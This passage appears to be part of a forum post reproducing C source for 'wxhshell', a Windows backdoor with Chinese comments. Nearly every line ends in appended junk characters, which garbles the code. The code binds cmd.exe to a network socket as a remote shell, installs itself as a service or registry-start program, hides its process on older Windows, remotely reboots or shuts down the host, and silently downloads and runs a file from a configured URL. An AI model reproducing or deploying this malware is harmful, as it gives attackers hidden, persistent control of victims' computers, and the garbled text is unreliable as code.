    switch(cmd[0]) { 4DL)rkO  
  \kU &^Hi  
  // 帮助 -\ EP.Vtz  
  case '?': { '>' wK.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zw ^kmSL"  
    break; TwVlg ;  
  } urMG*7i <c  
  // 安装 to=y#$_  
  case 'i': { YW60q0:  
    if(Install()) A8oo@z68n>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ng_^  
    else y*tZ !m2Gg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C ihAU"  
    break; /p+>NZ"b  
    } ~1W x =  
  // 卸载 }}>q2y  
  case 'r': { q gL aa  
    if(Uninstall()) q(2K6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @M5#S7q";  
    else BE_ay-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;I}kQ!q  
    break; q(.:9A*0  
    } "F.;Dv9V[0  
  // 显示 wxhshell 所在路径 X@LRsg  
  case 'p': { %|oJ>+  
    char svExeFile[MAX_PATH]; m6[0Kws&  
    strcpy(svExeFile,"\n\r"); PEuIWXr  
      strcat(svExeFile,ExeFile); 7,lq}a8z  
        send(wsh,svExeFile,strlen(svExeFile),0); .[3Z1v,  
    break; or';A'k  
    } #>mr[   
  // 重启 ]2\VweV  
  case 'b': { VI'hb'2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G %Q^o5m  
    if(Boot(REBOOT)) }7 c[Q($K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -U/c\-~fU  
    else { qIIv6''5@  
    closesocket(wsh);  lS'-xEv?  
    ExitThread(0); C@L$~iG  
    } +L9Eqll  
    break; twlk-2yT!  
    } /-qxS <?o  
  // 关机 ]Lm9^q14m  
  case 'd': { [ e8x&{L-_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G <uyin>  
    if(Boot(SHUTDOWN)) *JaqTI,e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IhBp%^H0-  
    else { ?qX)ihe%k  
    closesocket(wsh); #."Hh<C  
    ExitThread(0); m1IKVa7-\}  
    } {XW Z<OjG  
    break; \2(SB  
    } UTSL  
  // 获取shell v NeCpf  
  case 's': { $F/EJ>  
    CmdShell(wsh); <97d[/7i  
    closesocket(wsh); cPl`2&p  
    ExitThread(0); PT^c^{V  
    break; shH~4<15  
  } D!oc>K$B  
  // 退出 LT~YFS  
  case 'x': { +,&O1ykY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2~*Ez!.3  
    CloseIt(wsh); /Ux*u#  
    break; %+F"QI1~0  
    } M@(^AK{mU  
  // 离开 >F@qpjoQE  
  case 'q': { i,nm`Z>u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ph}j[Co  
    closesocket(wsh); e*  
    WSACleanup(); yfDAk46->6  
    exit(1); ,=~z6[  
    break; d$Y7u  
        } v6GsoQmA   
  } '>k{tPi.  
  } ^#):c`  
DOQc"+  
  // 提示信息 Vi]c%*k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vZ#!uU^a:  
} 8seBT ;S  
  } 6] z}#"  
+ zkm(  
  return;  ?W0(|9  
} .A1\J@b  
3_`szl-  
// shell模块句柄 p\bFdxv#  
int CmdShell(SOCKET sock) .1QgK  
{ 6`$[Ini  
STARTUPINFO si; &,i~cG?  
ZeroMemory(&si,sizeof(si)); AaN"7.Z/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M;Wha;%E"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }~o ikN:  
PROCESS_INFORMATION ProcessInfo; (tl}q3U  
char cmdline[]="cmd"; .h;Se  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "L3Xd][  
  return 0; nDlO5 pe"d  
} =V|Nn0E  
C%ytkzG_  
// 自身启动模式 zfjTQMaxh  
int StartFromService(void) [BBpQN.^q6  
{ /qxJgoa  
typedef struct c6b0*!D"}  
{ (BERY  
  DWORD ExitStatus; wk 02[  
  DWORD PebBaseAddress; !*P&Eat  
  DWORD AffinityMask; .^XH uN&  
  DWORD BasePriority; C(,=[Fi-  
  ULONG UniqueProcessId; abZdGnc  
  ULONG InheritedFromUniqueProcessId; GOW"o"S  
}   PROCESS_BASIC_INFORMATION; nC~fvyd<P  
+5*vABvCu  
PROCNTQSIP NtQueryInformationProcess; Tiprdvm<  
G&o64W;-s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pGGV\zD^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l7Lj[d<n  
g9qC{x d  
  HANDLE             hProcess; q2!'==h2i  
  PROCESS_BASIC_INFORMATION pbi; 1#D<ZN  
S'?fJ.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jm> U6  
  if(NULL == hInst ) return 0; m %Y( O  
cno;>[$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O!] ;_q/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bj&_IDs4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  0dh#/  
{~nvs4X  
  if (!NtQueryInformationProcess) return 0; /u ?9S/  
wDZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (!ZV9S  
  if(!hProcess) return 0; bpnv&EG  
JE9>8+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2) ?  
\2Xx%SX  
  CloseHandle(hProcess); lY->ucS %P  
55,=[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y]J3h Ks  
if(hProcess==NULL) return 0; ;fj9 n-  
AX8gij  
HMODULE hMod; ,b:n1  
char procName[255]; [pr 9 $Jr  
unsigned long cbNeeded; T6,V  
y%2%^wF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v&e-`.xR  
aN:HG)$@  
  CloseHandle(hProcess); jT{f<P0  
xcw%RUC-  
if(strstr(procName,"services")) return 1; // 以服务启动 ~Vwk:+):  
kSB3KR;~n  
  return 0; // 注册表启动 [ k!-;mi   
} DakLD~H;  
c]e`m6  
// 主模块 wH+FFXGJs  
int StartWxhshell(LPSTR lpCmdLine) kV_#9z7%  
{ W\&WS"=~  
  SOCKET wsl; P/C&R-{')  
BOOL val=TRUE; mYiSR   
  int port=0; SAd 97A:  
  struct sockaddr_in door; v&p,Clt-2  
fEHh]%GT`  
  if(wscfg.ws_autoins) Install(); zt-'SY  
yJF 2  
port=atoi(lpCmdLine); 8.*\+nH  
$7msL#E7  
if(port<=0) port=wscfg.ws_port; #DQX<:u  
\R6;Fef  
  WSADATA data; Y8D7<V~Md  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N8,EI^W8Z  
Oyi;bb<#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kyy0&L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O3_D~O ."  
  door.sin_family = AF_INET; 0\? _ lT2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;[;)P tFz\  
  door.sin_port = htons(port); }V\P,ck  
,:v.L}+Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^^n +  
closesocket(wsl); JVD@I{  
return 1; +L^A:}L(  
} v9Z lNA7m!  
C>.]Bvg  
  if(listen(wsl,2) == INVALID_SOCKET) { i!CKA}",  
closesocket(wsl); B0-4 ZT  
return 1; Zk~nB}Xw  
} zkjPLeX  
  Wxhshell(wsl); "WF( 6z#  
  WSACleanup(); 2(c<U6#C'l  
Z-N-9E  
return 0; &/B2)l6a  
hg[l{)Q  
} &,W_#l{  
s(1_:  
// 以NT服务方式启动 Gl?P.BCW.&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `U {o:  
{ ke3HK9P;  
DWORD   status = 0; l(h;e&9x  
  DWORD   specificError = 0xfffffff; xT_fr,P  
tb-OKZq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PphR4 sIM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o~i]W.SI(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?;0nJf  
  serviceStatus.dwWin32ExitCode     = 0; Nb^zkg  
  serviceStatus.dwServiceSpecificExitCode = 0; xFsB?d  
  serviceStatus.dwCheckPoint       = 0; K^!e-Xi6  
  serviceStatus.dwWaitHint       = 0; ,omp F$%  
&[?u1qQ%o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dD/29b(  
  if (hServiceStatusHandle==0) return; c8k6(#\  
&+E'1h10  
status = GetLastError(); K#9(|2 J%  
  if (status!=NO_ERROR) xG*lV|<7>  
{ ~pd1 )  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bR>o!(M'Z\  
    serviceStatus.dwCheckPoint       = 0; *_4n2<W$  
    serviceStatus.dwWaitHint       = 0; &%f]-=~  
    serviceStatus.dwWin32ExitCode     = status; 88tFB  
    serviceStatus.dwServiceSpecificExitCode = specificError; ()@.;R.Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {V]Qwz)1  
    return; ^7ea6G"  
  } %nDPM? aO  
<?q&PCAn^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jV,(P$ 5;  
  serviceStatus.dwCheckPoint       = 0; V e$5w}a4  
  serviceStatus.dwWaitHint       = 0; "oE^R?m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D,}'E0  
} $nGbT4sc  
Z ,|1G6f@  
// 处理NT服务事件,比如:启动、停止 f_re"d 3u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5{R#h :  
{ d I#8CO  
switch(fdwControl) M5cOz|j/*R  
{ `_J^g&y~  
case SERVICE_CONTROL_STOP: b2/N H1A  
  serviceStatus.dwWin32ExitCode = 0; :f?,]|]+-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SQ~N X)  
  serviceStatus.dwCheckPoint   = 0; a`EGx{q(  
  serviceStatus.dwWaitHint     = 0; c-s`>m  
  { 4! Oa4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1c<CEq:?e%  
  } 66^1&D"  
  return; in=k:j,U0  
case SERVICE_CONTROL_PAUSE: )}k?r5g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c{m ;"ZCFS  
  break; gCk y(4  
case SERVICE_CONTROL_CONTINUE: =E{{/%u{{S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uh C=  
  break; xu%! b0  
case SERVICE_CONTROL_INTERROGATE: Kh:#S|   
  break; h 0QYoDvbC  
}; {0A[v}X ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JGSk4  
}  :kp  
UALg!M#  
// 标准应用程序主函数 &m%Pr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L!8 -:)0b  
{ DmXDg7y7s  
@Q$ /eL  
// 获取操作系统版本 r3c\;Ra7  
OsIsNt=GetOsVer(); U<g UX07  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  z~}StCH(  
7+D'W7Yx  
  // 从命令行安装 j^aQ>(t(9  
  if(strpbrk(lpCmdLine,"iI")) Install(); D)O6| DiO  
 0'V-  
  // 下载执行文件 p E(<XD3Q  
if(wscfg.ws_downexe) { L6rs9su=7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G>q{~HE1  
  WinExec(wscfg.ws_filenam,SW_HIDE); s!j(nUd/  
} Eis%)oE  
`G ;Lz^  
if(!OsIsNt) { B(en5|  
// 如果时win9x,隐藏进程并且设置为注册表启动 R@7GCj  
HideProc(); JR a*;_  
StartWxhshell(lpCmdLine); (}~eD  
} wCq)w=,  
else w371.84  
  if(StartFromService()) *xv/b=  
  // 以服务方式启动 XC$+ `?  
  StartServiceCtrlDispatcher(DispatchTable); Y&05 *b"  
else ](9{}DHV  
  // 普通方式启动 G7/?hky 0.  
  StartWxhshell(lpCmdLine); qh)!|B  
-9H!j4]T?  
return 0; DX%8. @  
}
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只看该作者 1 发表于: 2006-10-10
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